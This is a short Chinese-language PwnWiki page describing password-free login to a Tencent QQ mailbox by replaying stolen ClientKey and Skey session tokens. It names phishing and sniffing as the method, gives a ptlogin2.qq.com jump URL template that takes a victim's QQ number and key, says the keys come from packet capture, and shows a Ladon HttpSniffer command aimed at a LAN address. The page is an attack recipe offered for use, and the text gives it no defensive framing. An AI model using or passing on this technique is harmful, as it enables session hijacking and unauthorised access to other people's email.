騰訊QQ ClinetKey&Skey 免密登錄

From PwnWiki
Revision as of 10:41, 21 May 2021 by Pwnwiki (talk | contribs) (Created page with "==利用原理== 釣魚&嗅探 ==使用Key登錄QQ郵箱== <pre> http://ptlogin2.qq.com/jump?clientuin=QQ&clientkey=key&keyindex=9&u1=https%3A%2F%2Fmail.qq.com%2Fcgi-bin%2Flo...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

利用原理

釣魚&嗅探

使用Key登錄QQ郵箱

http://ptlogin2.qq.com/jump?clientuin=QQ&clientkey=key&keyindex=9&u1=https%3A%2F%2Fmail.qq.com%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26vm%3Dwpt%26ft%3Dloginpage%26target%3D&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=25


獲得ClinetKey和Skey

抓包即可獲得


內網Key

使用Ladon等嗅探工具： 

Ladon HttpSniffer 192.168.1.101
Retrieved from "https://pwnwiki.com/index.php?title=騰訊QQ_ClinetKey%26Skey_免密登錄&oldid=3006"